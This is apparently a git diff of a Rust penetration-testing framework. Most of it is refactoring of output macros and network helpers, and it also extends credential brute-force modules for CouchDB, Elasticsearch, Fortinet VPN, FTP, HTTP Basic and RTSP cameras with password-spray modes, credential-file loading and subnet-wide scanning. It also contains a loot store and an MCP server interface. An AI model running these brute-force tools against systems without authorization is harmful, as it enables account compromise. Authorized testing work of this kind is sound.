||||
println!("\n{}", format!("[*] Job cancelled: {}", mod_clone).yellow());
|
||||
crate::mprintln!("\n{}", format!("[*] Job cancelled: {}", mod_clone).yellow());
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -113,7 +113,7 @@ impl JobManager {
|
||||
pub fn kill(&self, id: u32) -> bool {
|
||||
if let Ok(mut jobs) = self.jobs.write() {
|
||||
if let Some(job) = jobs.get_mut(&id) {
|
||||
if let Err(e) = job.cancel_tx.send(true) { eprintln!("[!] Job cancel signal error: {}", e); }
|
||||
if let Err(e) = job.cancel_tx.send(true) { crate::meprintln!("[!] Job cancel signal error: {}", e); }
|
||||
if let Some(handle) = job.handle.take() {
|
||||
handle.abort();
|
||||
}
|
||||
@@ -182,15 +182,15 @@ impl JobManager {
|
||||
pub fn display(&self) {
|
||||
let jobs = self.list();
|
||||
if jobs.is_empty() {
|
||||
println!("{}", "No active jobs.".dimmed());
|
||||
crate::mprintln!("{}", "No active jobs.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Background Jobs ({}):", jobs.len()).bold().underline());
|
||||
println!();
|
||||
println!(" {:<6} {:<35} {:<20} {:<12} {}",
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!("Background Jobs ({}):", jobs.len()).bold().underline());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!(" {:<6} {:<35} {:<20} {:<12} {}",
|
||||
"ID".bold(), "Module".bold(), "Target".bold(), "Started".bold(), "Status".bold());
|
||||
println!(" {}", "-".repeat(80).dimmed());
|
||||
crate::mprintln!(" {}", "-".repeat(80).dimmed());
|
||||
for (id, module, target, started, status) in &jobs {
|
||||
let status_colored = if status == "Running" {
|
||||
status.green().to_string()
|
||||
@@ -201,10 +201,10 @@ impl JobManager {
|
||||
} else {
|
||||
status.yellow().to_string()
|
||||
};
|
||||
println!(" {:<6} {:<35} {:<20} {:<12} {}",
|
||||
crate::mprintln!(" {:<6} {:<35} {:<20} {:<12} {}",
|
||||
id, module, target, started, status_colored);
|
||||
}
|
||||
println!();
|
||||
crate::mprintln!();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+14
-14
@@ -1,6 +1,6 @@
|
||||
use std::path::PathBuf;
|
||||
use tokio::sync::RwLock;
|
||||
use once_cell::sync::Lazy;
|
||||
use std::sync::LazyLock as Lazy;
|
||||
use serde::{Serialize, Deserialize};
|
||||
use colored::*;
|
||||
|
||||
@@ -31,7 +31,7 @@ impl LootStore {
|
||||
|
||||
let loot_dir = base.join("loot");
|
||||
use std::os::unix::fs::DirBuilderExt;
|
||||
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&loot_dir) { eprintln!("[!] Directory creation error: {}", e); }
|
||||
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&loot_dir) { crate::meprintln!("[!] Directory creation error: {}", e); }
|
||||
|
||||
let index_path = base.join("loot_index.json");
|
||||
let entries = if index_path.exists() {
|
||||
@@ -39,9 +39,9 @@ impl LootStore {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
Ok(data) => data,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: loot_index.json is corrupted ({}). Creating backup.", e);
|
||||
crate::meprintln!("[!] Warning: loot_index.json is corrupted ({}). Creating backup.", e);
|
||||
let backup = index_path.with_extension("json.bak");
|
||||
if let Err(e) = std::fs::copy(&index_path, &backup) { eprintln!("[!] Backup copy error: {}", e); }
|
||||
if let Err(e) = std::fs::copy(&index_path, &backup) { crate::meprintln!("[!] Backup copy error: {}", e); }
|
||||
Vec::new()
|
||||
}
|
||||
},
|
||||
@@ -72,7 +72,7 @@ impl LootStore {
|
||||
) -> Option<String> {
|
||||
// Validate size
|
||||
if data.len() > Self::MAX_LOOT_SIZE {
|
||||
eprintln!("[!] Loot too large: {} bytes (max {} MB)", data.len(), Self::MAX_LOOT_SIZE / 1024 / 1024);
|
||||
crate::meprintln!("[!] Loot too large: {} bytes (max {} MB)", data.len(), Self::MAX_LOOT_SIZE / 1024 / 1024);
|
||||
return None;
|
||||
}
|
||||
// Validate inputs (BUG 29 fix: also validate description and source_module)
|
||||
@@ -103,7 +103,7 @@ impl LootStore {
|
||||
|
||||
// Verify the resolved path is within loot_dir (prevent traversal)
|
||||
if !file_path.starts_with(&self.loot_dir) {
|
||||
eprintln!("[!] Loot path escapes loot directory");
|
||||
crate::meprintln!("[!] Loot path escapes loot directory");
|
||||
return None;
|
||||
}
|
||||
|
||||
@@ -236,25 +236,25 @@ impl LootStore {
|
||||
pub async fn display(&self) {
|
||||
let entries = self.list().await;
|
||||
if entries.is_empty() {
|
||||
println!("{}", "No loot stored.".dimmed());
|
||||
crate::mprintln!("{}", "No loot stored.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Loot ({} items):", entries.len()).bold().underline());
|
||||
println!();
|
||||
println!(" {:<10} {:<18} {:<15} {:<30} {}",
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!("Loot ({} items):", entries.len()).bold().underline());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!(" {:<10} {:<18} {:<15} {:<30} {}",
|
||||
"ID".bold(), "Host".bold(), "Type".bold(), "Description".bold(), "Module".bold());
|
||||
println!(" {}", "-".repeat(90).dimmed());
|
||||
crate::mprintln!(" {}", "-".repeat(90).dimmed());
|
||||
for e in &entries {
|
||||
let desc = if e.description.len() > 28 {
|
||||
format!("{}...", &e.description[..25])
|
||||
} else {
|
||||
e.description.clone()
|
||||
};
|
||||
println!(" {:<10} {:<18} {:<15} {:<30} {}",
|
||||
crate::mprintln!(" {:<10} {:<18} {:<15} {:<30} {}",
|
||||
e.id.yellow(), e.host.green(), e.loot_type, desc, e.source_module);
|
||||
}
|
||||
println!();
|
||||
crate::mprintln!();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+6
-1
@@ -75,7 +75,7 @@ async fn write_response(
|
||||
async fn handle_request(req: JsonRpcRequest) -> Option<JsonRpcResponse> {
|
||||
match req.method.as_str() {
|
||||
"initialize" => Some(handle_initialize(req.id)),
|
||||
"initialized" => {
|
||||
"initialized" | "notifications/initialized" => {
|
||||
// Notification — no response.
|
||||
eprintln!("[MCP] Client initialized");
|
||||
None
|
||||
@@ -84,6 +84,11 @@ async fn handle_request(req: JsonRpcRequest) -> Option<JsonRpcResponse> {
|
||||
"tools/call" => Some(handle_tools_call(req.id, req.params).await),
|
||||
"resources/list" => Some(handle_resources_list(req.id)),
|
||||
"resources/read" => Some(handle_resources_read(req.id, req.params).await),
|
||||
other if other.starts_with("notifications/") => {
|
||||
// All notifications are fire-and-forget — never respond.
|
||||
eprintln!("[MCP] Ignoring notification: {}", other);
|
||||
None
|
||||
}
|
||||
other => Some(JsonRpcResponse::error(
|
||||
req.id,
|
||||
-32601,
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
use once_cell::sync::Lazy;
|
||||
use std::sync::LazyLock as Lazy;
|
||||
use serde_json::{json, Value};
|
||||
use std::collections::HashMap;
|
||||
|
||||
|
||||
@@ -8,13 +8,19 @@ use serde_json::Value;
|
||||
/// Incoming JSON-RPC 2.0 request (or notification when `id` is `None`).
|
||||
#[derive(Deserialize)]
|
||||
pub struct JsonRpcRequest {
|
||||
#[serde(default = "default_jsonrpc")]
|
||||
pub jsonrpc: String,
|
||||
/// `None` means this is a notification (no response expected).
|
||||
pub id: Option<Value>,
|
||||
pub method: String,
|
||||
#[serde(default)]
|
||||
pub params: Option<Value>,
|
||||
}
|
||||
|
||||
fn default_jsonrpc() -> String {
|
||||
"2.0".to_string()
|
||||
}
|
||||
|
||||
/// Outgoing JSON-RPC 2.0 response.
|
||||
#[derive(Serialize)]
|
||||
pub struct JsonRpcResponse {
|
||||
|
||||
+19
-19
@@ -66,36 +66,36 @@ impl std::fmt::Display for CheckResult {
|
||||
|
||||
/// Pretty-print module info to the console.
|
||||
pub fn display_module_info(module_path: &str, info: &ModuleInfo) {
|
||||
println!();
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Module Information ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
println!(" {:<16} {}", "Path:".bold(), module_path);
|
||||
println!(" {:<16} {}", "Name:".bold(), info.name);
|
||||
println!(" {:<16} {}", "Rank:".bold(), format!("{}", info.rank).green());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ Module Information ║".cyan());
|
||||
crate::mprintln!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!(" {:<16} {}", "Path:".bold(), module_path);
|
||||
crate::mprintln!(" {:<16} {}", "Name:".bold(), info.name);
|
||||
crate::mprintln!(" {:<16} {}", "Rank:".bold(), format!("{}", info.rank).green());
|
||||
if let Some(ref date) = info.disclosure_date {
|
||||
println!(" {:<16} {}", "Disclosed:".bold(), date);
|
||||
crate::mprintln!(" {:<16} {}", "Disclosed:".bold(), date);
|
||||
}
|
||||
println!();
|
||||
println!(" {}", "Description:".bold());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!(" {}", "Description:".bold());
|
||||
for line in info.description.lines() {
|
||||
println!(" {}", line);
|
||||
crate::mprintln!(" {}", line);
|
||||
}
|
||||
println!();
|
||||
crate::mprintln!();
|
||||
if !info.authors.is_empty() {
|
||||
println!(" {}", "Authors:".bold());
|
||||
crate::mprintln!(" {}", "Authors:".bold());
|
||||
for author in &info.authors {
|
||||
println!(" - {}", author);
|
||||
crate::mprintln!(" - {}", author);
|
||||
}
|
||||
println!();
|
||||
crate::mprintln!();
|
||||
}
|
||||
if !info.references.is_empty() {
|
||||
println!(" {}", "References:".bold());
|
||||
crate::mprintln!(" {}", "References:".bold());
|
||||
for reference in &info.references {
|
||||
println!(" - {}", reference);
|
||||
crate::mprintln!(" - {}", reference);
|
||||
}
|
||||
println!();
|
||||
crate::mprintln!();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ use suppaftp::tokio::AsyncFtpStream;
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use telnet::{Telnet, Event};
|
||||
use std::{net::TcpStream, time::Duration};
|
||||
use std::time::Duration;
|
||||
use tokio::{join, task};
|
||||
use crate::utils::url_encode;
|
||||
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
@@ -105,7 +105,7 @@ pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String
|
||||
Ok(sa) => sa,
|
||||
Err(_) => continue,
|
||||
};
|
||||
if let Ok(stream) = TcpStream::connect_timeout(&socket_addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)) {
|
||||
if let Ok(stream) = crate::utils::blocking_tcp_connect(&socket_addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)) {
|
||||
let mut session = Session::new().context("Failed to create SSH session")?;
|
||||
session.set_tcp_stream(stream);
|
||||
session.handshake().context("SSH handshake failed")?;
|
||||
|
||||
@@ -9,7 +9,6 @@ use std::sync::atomic::{AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use tokio::time::timeout;
|
||||
|
||||
@@ -304,7 +303,7 @@ async fn check_ports(target: &str) -> (Vec<u16>, Vec<u16>) {
|
||||
let addr = format!("{}:{}", t, port);
|
||||
|
||||
// Basic TCP Connect
|
||||
if timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await.is_ok() {
|
||||
if crate::utils::network::tcp_connect(&addr, Duration::from_secs(PORT_SCAN_TIMEOUT)).await.is_ok() {
|
||||
// If open, probe for RTSP
|
||||
let is_rtsp = probe_rtsp(&t, port).await;
|
||||
return Some((port, is_rtsp));
|
||||
@@ -335,7 +334,7 @@ async fn check_ports(target: &str) -> (Vec<u16>, Vec<u16>) {
|
||||
async fn probe_rtsp(target: &str, port: u16) -> bool {
|
||||
// Sends a minimal RTSP OPTIONS request
|
||||
let addr = format!("{}:{}", target, port);
|
||||
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await {
|
||||
if let Ok(mut stream) = crate::utils::network::tcp_connect(&addr, Duration::from_secs(PORT_SCAN_TIMEOUT)).await {
|
||||
let request = format!(
|
||||
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nCSeq: 1\r\n\r\n",
|
||||
target, port
|
||||
@@ -602,7 +601,7 @@ async fn test_default_passwords(target: &str, open_ports: &[u16], rtsp_ports: &[
|
||||
|
||||
async fn test_rtsp_auth(target: &str, port: u16, user: &str, pass: &str) -> bool {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(2), TcpStream::connect(&addr)).await {
|
||||
if let Ok(mut stream) = crate::utils::network::tcp_connect(&addr, Duration::from_secs(2)).await {
|
||||
let auth_str = BASE64_STANDARD.encode(format!("{}:{}", user, pass));
|
||||
let request = format!(
|
||||
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nAuthorization: Basic {}\r\nCSeq: 1\r\n\r\n",
|
||||
|
||||
@@ -4,7 +4,8 @@ use reqwest::ClientBuilder;
|
||||
use std::{io::Write, net::IpAddr, sync::Arc, time::Duration};
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
@@ -210,6 +211,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "couchdb",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/couchdb_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
@@ -289,12 +291,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every pass with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
let connect_addr = format!("{}:{}", normalized, port);
|
||||
@@ -358,7 +355,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
@@ -386,6 +387,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "couchdb",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/couchdb_bruteforce",
|
||||
},
|
||||
combos,
|
||||
|
||||
@@ -4,7 +4,8 @@ use reqwest::ClientBuilder;
|
||||
use std::{io::Write, net::IpAddr, sync::Arc, time::Duration};
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
@@ -203,6 +204,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "elasticsearch",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/elasticsearch_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
@@ -286,12 +288,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every pass with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
let connect_addr = format!("{}:{}", normalized, port);
|
||||
@@ -355,7 +352,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
@@ -383,6 +384,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "elasticsearch",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/elasticsearch_bruteforce",
|
||||
},
|
||||
combos,
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
@@ -8,7 +9,7 @@ use crate::utils::{
|
||||
};
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use once_cell::sync::Lazy;
|
||||
use std::sync::LazyLock as Lazy;
|
||||
use regex::Regex;
|
||||
use reqwest::{redirect::Policy, ClientBuilder};
|
||||
use std::{io::Write, net::IpAddr, time::Duration};
|
||||
@@ -146,6 +147,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "fortinet-vpn",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/fortinet_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
@@ -239,12 +241,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
|
||||
// Combo mode
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every password with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
// Load wordlists
|
||||
let users = load_lines(&usernames_file)?;
|
||||
@@ -265,7 +262,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
|
||||
let combos = generate_combos(&users, &passwords, combo_mode);
|
||||
let mut combos = generate_combos_mode(&users, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
@@ -307,6 +308,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 100,
|
||||
max_retries: 2,
|
||||
service_name: "fortinet-vpn",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/fortinet_bruteforce",
|
||||
},
|
||||
combos,
|
||||
|
||||
@@ -9,12 +9,13 @@ use std::{
|
||||
use tokio::time::{sleep, timeout};
|
||||
|
||||
use crate::utils::{
|
||||
cfg_prompt_port, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_default, cfg_prompt_port, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_yes_no, cfg_prompt_output_file, load_lines,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos, run_bruteforce, run_subnet_bruteforce,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
@@ -180,6 +181,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "ftp",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/ftp_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
@@ -212,7 +214,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no("combo_mode", "Combination mode (user × pass)?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
@@ -228,7 +230,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passes.len()).cyan());
|
||||
|
||||
let combos = generate_combos(&users, &passes, combo_mode);
|
||||
let mut combos = generate_combos_mode(&users, &passes, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
// Capture verbose in the closure for try_ftp_login
|
||||
let target_owned = target.to_string();
|
||||
@@ -247,15 +253,19 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
};
|
||||
|
||||
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay between attempts (ms)", 0, 0, 10000).await? as u64;
|
||||
let max_retries = cfg_prompt_int_range("max_retries", "Max retries on error", 3, 0, 10).await? as usize;
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target_owned,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries: 3,
|
||||
delay_ms: delay_ms,
|
||||
max_retries: max_retries,
|
||||
service_name: "ftp",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/ftp_bruteforce",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
@@ -268,7 +278,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
/// Try FTP login with FTPS fallback when TLS is required.
|
||||
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, _verbose: bool) -> Result<bool> {
|
||||
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
|
||||
// Attempt plain FTP
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
@@ -284,7 +294,7 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, _verbos
|
||||
FtpErrorType::TlsRequired => { if let Err(e) = ftp.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); } }
|
||||
FtpErrorType::ConnectionLimitExceeded => {
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
return Ok(false);
|
||||
return Err(anyhow!("Connection limit exceeded (421)"));
|
||||
}
|
||||
_ => return Err(anyhow!("FTP login error: {}", msg)),
|
||||
}
|
||||
@@ -296,6 +306,9 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, _verbos
|
||||
}
|
||||
|
||||
// FTPS fallback
|
||||
if verbose {
|
||||
crate::mprintln!(" [v] {} — trying FTPS (TLS)...", addr);
|
||||
}
|
||||
let mut ftp_tls = match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr)).await {
|
||||
Ok(Ok(s)) => s,
|
||||
_ => return Err(anyhow!("FTPS Connect failed")),
|
||||
|
||||
@@ -2,6 +2,7 @@ use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{
|
||||
@@ -11,7 +12,8 @@ use crate::utils::{
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos, run_bruteforce, run_subnet_bruteforce,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
@@ -237,19 +239,28 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "http_basic_subnet_results.txt").await?;
|
||||
|
||||
let subnet_client = Arc::new(reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.redirect(reqwest::redirect::Policy::none())
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?);
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "http-basic",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/http_basic_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let url_path = url_path.clone();
|
||||
let client = Arc::clone(&subnet_client);
|
||||
async move {
|
||||
let scheme = if use_https { "https" } else { "http" };
|
||||
let url = format!("{}://{}:{}{}", scheme, ip, port, url_path);
|
||||
match try_http_login(&url, &user, &pass, Duration::from_secs(5)).await {
|
||||
match try_http_login(&client, &url, &user, &pass).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
@@ -304,7 +315,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no("combo_mode", "Combination mode? (try every pass with every user)", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let scheme = if use_https { "https" } else { "http" };
|
||||
let base_url = format!("{}://{}:{}{}", scheme, target, port, url_path);
|
||||
@@ -354,14 +365,24 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let shared_client = Arc::new(reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.redirect(reqwest::redirect::Policy::none())
|
||||
.timeout(Duration::from_secs(connection_timeout))
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?);
|
||||
|
||||
let try_login = move |_t: String, _p: u16, user: String, pass: String| {
|
||||
let url = base_url.clone();
|
||||
let timeout_dur = timeout_duration;
|
||||
let client = Arc::clone(&shared_client);
|
||||
async move {
|
||||
match try_http_login(&url, &user, &pass, timeout_dur).await {
|
||||
match try_http_login(&client, &url, &user, &pass).await {
|
||||
